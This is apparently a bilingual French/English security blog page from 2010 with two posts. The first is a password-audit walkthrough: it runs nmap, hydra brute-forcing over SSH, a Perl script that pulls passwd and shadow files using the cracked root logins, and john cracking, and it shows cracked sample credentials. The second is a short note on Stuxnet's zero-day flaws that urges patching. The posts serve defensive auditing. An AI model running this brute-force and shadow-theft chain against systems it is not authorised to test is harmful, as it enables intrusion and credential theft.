27 Nov 2010

Audit rapide de mots de passe Unix/Linux accessibles via SSH

Voici une méthode rapide et efficace de vérifier si on a des mots de passe faibles sur nos systèmes Unix/Linux. On utilise une approche de craquage en ligne avec hydra et, si on arrive à deviner le mot de passe root, on exécute une passe de craquage locale avec john (plus efficace). Les outils en question sont tous disponibles via Backtrack.
Here’s a quick method to verify if we have weak passwords on our Unix/Linux systems. We use one round of online password cracking with hydra and, if we find root passwords, we execute a round of local cracking using john (much faster). This procedure runs beautifully via Backtrack.

  • Trouver tous les serveurs SSH dans un sous-réseau  –  Find all SSH servers in a subnet:
$ nmap -oG nmap-ssh.txt -p22 10.14.26.0/24
  • Créer une list des serveurs à auditer  –  Create a list of SSH servers to audit:
$ grep open nmap-ssh.txt  | awk ‘{print $2}’ | sort -u > ssh-hosts.txt
  • Exécuter une ronde de crackage en-ligne avec hydra  –  Execute initial online password guessing with hydra:
hydra -M ssh-hosts.txt -L logins.txt -P passwords.txt -e ns -o cracked.txt ssh
  • Le fichier cracked.txt contient les noms d’usagers et mots de passes  –  The cracked.txt file contains the usernames and passwords that were cracked:
$ cat cracked.txt
# Hydra v7.1 run at 2011-11-27 16:43:46 on ssh-hosts.txt ssh (hydra  -M ssh-hosts.txt -C creds -e ns -o cracked.txt ssh
[22][ssh] host: 10.14.26.28   login: adm   password: adm
[22][ssh] host: 10.14.26.141   login: root   password: r00t123[...]
  • Créer un script pour récupérer les fichiers passwd et shadow via SCP (avec les accès root découverts) en préparation à une ronde de crackage locale  –  Create a script to pull remote passwd and shadow files (with root credentials discovered) to prepare for an offline password cracking round:
$ vi get-passwd.pl
#!/usr/bin/perl
use Net::OpenSSH;  # obtain from http://search.cpan.org/~salva/Net-OpenSSH/lib/Net/OpenSSH.pm
my $filename  = “cracked.txt“;
open(FP, $filename) || die “ERROR: Could not open $filename\n”;
while ($line = ){
chomp $line;
if (!($line =~ “^#”)){
($t1,$t2,$ip,$t3,$login,$t3,$pwd) = split(/\s+/, $line);
if ($login eq “root”){
print “$ip: $login / $pwd\n”;
my $ssh = Net::OpenSSH->new(“$login:$pwd\@$ip”);
mkdir $ip;
$ssh->scp_get({glob => 1}, ‘/etc/passwd’, ‘/etc/*shadow*’, “$ip”);
}
}
}
close(FP);
  • Exécuter le script  –  Execute the script:
$ ./get-passwd.pl
10.14.26.141: root / r00t123

10.14.26.140: root / r00t123
[...]
  • Créer un script pour consolider les fichiers passwd et shadow  –  create a script to merge the passwd and shadow files:
$ cat unshadow.sh
#!/bin/sh
for i in `ls *-passwd | cut -f1 -d-`;do
echo $i
/pentest/passwords/john/unshadow $i-passwd $i-shadow > $i-merged
done
  • Executer le script  –  Run the script:
./unshadow.sh
  • Créer un script pour exécuter john  –  create a script to execute john:
$ cat john.sh
#!/bin/sh
JOHN=/pentest/passwords/john
PATH=$JOHN
john –config=$JOHN/john.conf –wordlist=passwords.txt *-merged
john –config=$JOHN/john.conf –wordlist=/dict/passwords.txt *-merged
john –config=$JOHN/john.conf –wordlist=/dict/txt/passwords-rockyou.txt *-merged
  • Exécuter les script pour craquer plus de mots passe en mode “offline” (plus rapide)  –  Run the script to perform offline password cracking (faster than online):
$ ./john.sh
Loaded 35 password hashes with 35 different salts (FreeBSD MD5 [32/32])
oracle           (oracle)
root123           (root)
[...]
  • Le fichier john.pot contient les mots de passes obtenus via john  –  The john.pot file contains the offline-cracked passwords obtained via john:
cat john.pot
$1$NxT24Nw3$Jujtwx.duFjXmlgUl1nbh.:oracle
$1$4.c65g6x$Pfrv3ib5ucb9DSr6ULkfn0:please
[...]

4 Nov 2010

4 nouvelles vulnérabilités exploitées dans Stuxnet!

Symantec vient de publier une nouvelle version de son étude sur Stuxnet. 4 nouvelles vulnérabilités de jour zéro utilisées, c’est probablement du jamais vu!
Voici les détails sur 3 des 4 des vulnérabilités:
  1. Exécution automatique des Shortcut
  2. Exécution distante via le Windows “spooler”
  3. Exécution à distance via RPC
On peut voir qu’il existe du code existant qu’on peut utiliser pour les exploiter. Il faut mettre nos Windows à jour!
Check this out, 4 zero-day vulnerabilities exploited in Stuxnet with an estimated development group of 5 to 10 developers during 6 months: http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf
We may need to look into the other vulnerabilities to see if they were properly patched (print spooler, RPC…)? Here’s some background on the (3 of 4) identified vulnerabilities. The exploit tab shows that there are available code samples to help future attackers…:
http://www.securityfocus.com/bid/41732: Shortcut automatic file execution
http://www.securityfocus.com/bid/43073: Print spooler remote code execution
http://www.securityfocus.com/bid/31874: RPC handling remote code execution
Apparently also that the LNK vulnerability has been used before in 2008. That’s a damn long zero-day if it’s really true!